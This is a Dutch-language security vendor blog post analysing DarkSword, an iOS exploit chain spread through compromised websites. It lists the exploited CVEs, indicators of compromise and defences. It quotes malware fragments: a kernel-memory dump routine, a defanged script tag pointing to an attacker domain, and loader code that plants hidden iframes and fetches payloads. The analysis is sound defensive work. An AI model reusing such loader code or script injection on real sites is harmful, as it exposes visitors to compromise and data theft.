Skip to main content
Blog
Blog

DarkSword: pure JavaScript-exploitketen maakt misbruik van legitieme websites

DarkSword is een volledige iOS-exploitketen die via watering-hole-aanvallen op legitieme websites wordt afgeleverd. De keten draait volledig in JavaScript, omzeilt binaire beveiligingsmaatregelen en plaatst JavaScript-backdoors die gevoelige gegevens exfiltreren.

Mar 20, 2026 4 min read
DarkSword: pure JavaScript-exploitketen maakt misbruik van legitieme websites - omslagafbeelding

DarkSword markeert een nieuwe stap in iOS-exploitatie. Actief sinds ten minste november 2025 koppelt deze volledige exploitketen meerdere kwetsbaarheden — waarvan enkele zero-days — om iOS-apparaten volledig te compromitteren. De vermoedelijk Russische spionagegroep UNC6353 verspreidt de keten via watering-hole-aanvallen door kwaadaardige script-tags te injecteren in legitieme, gecompromitteerde websites. De kern van het probleem is de aflevering: de client-side omgeving van een website wordt een vector voor een door een natiestaat ontwikkelde exploit die bezoekers aanvalt.

Hoe de DarkSword-exploitketen werkt

Eerdere iOS-exploitkits maakten gebruik van binaire componenten. DarkSword kiest een andere aanpak: de volledige keten is geschreven in JavaScript. Door in elke fase in JavaScript te blijven, vermijden de aanvallers binaire beveiligingsmaatregelen zoals Apple's Page Protection Layer (PPL) en Secure Page Table Monitor (SPTM). De keten richt zich op iOS-versies in het bereik 18.4–18.7 en werkt via meerdere fasen die escaleren van geheugenkorruptie in de browser naar volledige kernelprivileges.

Exploitfasen

ExploitfaseKwetsbaarheidBeschrijvingZero-day?
Remote Code Execution (RCE)CVE-2025-31277 / CVE-2025-43529Geheugenkorruptie in JavaScriptCore (JIT-typeverwarring en GC-bugs).CVE-2025-43529 was een zero-day
PAC-bypassCVE-2026-20700Bypass van Pointer Authentication Code in user-mode in dyld.Ja
WebContent sandbox-escapeCVE-2025-14174Geheugenkorruptie in ANGLE, met ontsnapping naar het GPU-proces.Ja
GPU sandbox-escapeCVE-2025-43510Geheugenbeheerkvwetsbaarheid in de iOS-kernel, met pivot naar mediaplaybackd.Nee
Privilege-escalatieCVE-2025-43520Geheugenkorruptie in de iOS-kernel, waarmee volledige kernelprivileges worden verkregen.Nee

Na een volledige compromittering plaatst de exploit een van drie JavaScript-gebaseerde malwarefamilies: GHOSTBLADE, GHOSTKNIFE of GHOSTSABER. Deze fungeren als dataminers en backdoors die iMessages, cryptocurrency-walletgegevens, locatiegeschiedenis en opgeslagen WiFi-wachtwoorden exfiltreren.

Voorbeeld van debuggingcode

Debuggingcode en commentaar die in de payloads zijn achtergelaten, tonen de intentie van de auteurs. GHOSTBLADE bevat functies om kernelgeheugen te hexdumpen en richt zich specifiek op WiFi-inloggegevens:

const TAG = "DarkSword-WIFI-DUMP";

function kdump(where, size, msg = "") {
 LOG(`[+] ----------- ${msg} ----------`);
 for (let i = 0n; i < size; i += 0x10n) {
 LOG(`[+] [${i.hex()}] ${(where + i).hex()}:	${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
 }
}

Hoe DarkSword watering-hole-aanvallen gebruikt om iOS-apparaten te infecteren

UNC6353 compromitteert legitieme websites en maakt er watering holes van. Wanneer een doelwit een van deze sites bezoekt, wordt de aanval stil op de achtergrond uitgevoerd zonder gebruikersinteractie. De aanval begint doorgaans met één geïnjecteerde tag die er in de HTML onschuldig uitziet, maar vervolgens door aanvallers beheerde JavaScript laadt van een CDN van een derde partij.

Voorbeeld (weergegeven als escaped tekst om het insluiten van een echte script-tag te vermijden):

<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>

Vanaf dat punt verloopt de aanval via client-side operaties. De loader kan verborgen iframes van 1x1 pixel aanmaken, sessionStorage gebruiken om slachtoffers te volgen en te fingerprinting, en aanvullende verduisterde payloads ophalen via synchrone XHR's. Omdat alle acties gebruikmaken van standaard web-API's, gaan ze op in normale browseractiviteit — tenzij de client-side omgeving wordt gemonitord.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
 sessionStorage.setItem("uid", '1');
 const frame = document.createElement("iframe");
 frame.src = "frame.html?" + Math.random();
 frame.style.height = 0;
 frame.style.width = 0;
 frame.style.border = "none";
 document.body.appendChild(frame);
} else {
 top.location.href = "red";
}
function getJS(fname,method = 'GET') {
 try {
 url = fname;
 print(`trying to fetch ${method} from: ${url}`);
 let xhr = new XMLHttpRequest();
 xhr.open("GET", `${url}` , false);
 xhr.send(null);
 return xhr.responseText;
 } catch(e) {
 print("got error in getJS: " + e);
 }
}

Waarom traditionele beveiligingsmaatregelen DarkSword missen

DarkSword legt een blinde vlek bloot in de meeste beveiligingsopstellingen. Perimeterbeveiliging, WAF's en veel endpoint-detectietools zien geen activiteit binnen de browser. De gecompromitteerde website levert wat eruitziet als een normale client-side resource, terwijl de daadwerkelijke exploit wordt geladen vanaf een domein van een derde partij. Verdediging tegen deze aanvallen vereist zichtbaarheid in client-side uitvoering en de mogelijkheid om afwijkend browsergedrag te detecteren.

Indicatoren van compromittering

  • Onverwachte script-tags die laden van onbekende of verdachte domeinen;
  • Verborgen iframes met afmetingen van 1x1 pixel, bijna-nul-opaciteit of plaatsing buiten het scherm;
  • Ongebruikelijke sessionStorage- of localStorage-wijzigingen door ongeautoriseerde scripts;
  • XHR- of Fetch-verzoeken die aanvullende verduisterde JavaScript-payloads ophalen.

Hoe u zich kunt verdedigen tegen DarkSword en watering-hole-aanvallen

Apple heeft de DarkSword-kwetsbaarheden gepatcht in iOS 26.3 en gebruikers moeten onmiddellijk updaten. Maar het patchen van endpoints pakt slechts één laag aan. Zolang aanvallers legitieme websites kunnen compromitteren en als aflevervehicle kunnen gebruiken, zullen watering-hole-aanvallen doorgaan. Websitebeheerders moeten supply chains versterken, monitoren op ongeautoriseerde injecties en client-side monitoring gebruiken om kwaadaardige scriptuitvoering te detecteren voordat payloads zoals DarkSword worden geplaatst.

Simon Wijckmans
Founder & CEO

Founder and CEO of cside. Previously a product manager on Cloudflare Page Shield (now Cloudflare Client-Side Security). Co-chair of the W3C Anti-Fraud Community Group and a Forbes 30 Under 30 honoree. Building accessible security against client-side attacks — web security is not an enterprise-only problem.

FAQ

Frequently Asked Questions

DarkSword blijft volledig in JavaScript om binaire beveiligingen zoals Apple's Page Protection Layer (PPL) en Secure Page Table Monitor (SPTM) te vermijden. Door geheugenkorruptie in JavaScriptCore en daaropvolgende sandbox-escape-kwetsbaarheden te misbruiken, hoeft de keten nooit afzonderlijke native binaries uit te voeren, waardoor binaire beveiligingsmaatregelen minder effectief zijn.

Belangrijke indicatoren zijn onder meer onverwachte externe script-tags die verwijzen naar onbekende domeinen van derden, verborgen of buiten beeld geplaatste iframes (vaak 1x1 pixels), ongebruikelijke sessionStorage/localStorage-activiteit, en synchrone XHR/Fetch-verzoeken die verduisterd JavaScript ophalen. Het monitoren van dit gedrag in de browser kan kwaadaardige activiteit aan het licht brengen die perimetertools missen.

Isoleer de gecompromitteerde host en bewaar webserverlogboeken en geïmplementeerde assets, inclusief eventueel geïnjecteerde scripts. Informeer getroffen gebruikers, vernieuw blootgestelde geheimen (API-sleutels, tokens) en zet incident-specifieke telemetrie op om client-side artefacten vast te leggen, zoals geïnjecteerde script-URL's, iframe-navigatiepatronen en XHR-payloads voor verdere analyse.

Implementeer client-side gedragstelemetrie die scriptoorsprongen, iframe-aanmaak, opslagwijzigingen en netwerkverzoeken registreert, met rate-limited sampling en privacywaarborgen. Gebruik allowlists voor bekende externe resources, integriteitscontroles (SRI), CSP-headers en periodieke scans op ongeautoriseerde wijzigingen in geserveerde HTML en JavaScript.

Versterk de supply-chain-beveiliging door externe afhankelijkheden te vergrendelen, ondertekende of integriteitsgecontroleerde assets te vereisen, Content Security Policy (CSP) in te schakelen en te monitoren op onverwachte wijzigingen in CDN-gehoste bestanden. Handhaaf strikte toegangscontroles, vernieuw inloggegevens regelmatig en schakel bestandsintegriteitsmonitoring in op webactiva.

Client-side logboeken die geïnjecteerde script-URL's, iframe-aanmaakgebeurtenissen, sessionStorage/localStorage-schrijfacties en synchrone XHR-reacties vastleggen, zijn betrouwbare indicatoren. Combineer deze met webserverlogboeken die onverwachte verzoeken voor widgetbestanden en CDN-assets tonen, en correleer met endpoint-browsertelemetrie indien beschikbaar.

Geef prioriteit aan OS-updates die de misbruikte CVE's aanpakken, en implementeer vervolgens mitigaties zoals het blokkeren van bekende kwaadaardige domeinen op de netwerkrand en het intrekken van gecompromitteerde CDN-inloggegevens. Implementeer tegelijkertijd client-side detectie en versterk de supply-chain-beveiliging van het web om toekomstige blootstelling te beperken.

CSP en SRI zijn effectieve mitigaties wanneer ze correct worden toegepast: CSP beperkt van welke locaties scripts geladen mogen worden en SRI zorgt ervoor dat opgehaalde resources overeenkomen met verwachte integriteits-hashes. Als een aanvaller echter de site kan aanpassen om een eigen toegestane resource te injecteren of een vertrouwde CDN kan compromitteren, kunnen deze maatregelen worden omzeild. Ze moeten daarom onderdeel zijn van een gelaagde verdediging.

Monitor en Beveilig Je Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside dashboard interface met script monitoring en beveiligingsanalytics
Related Articles
Boek een demo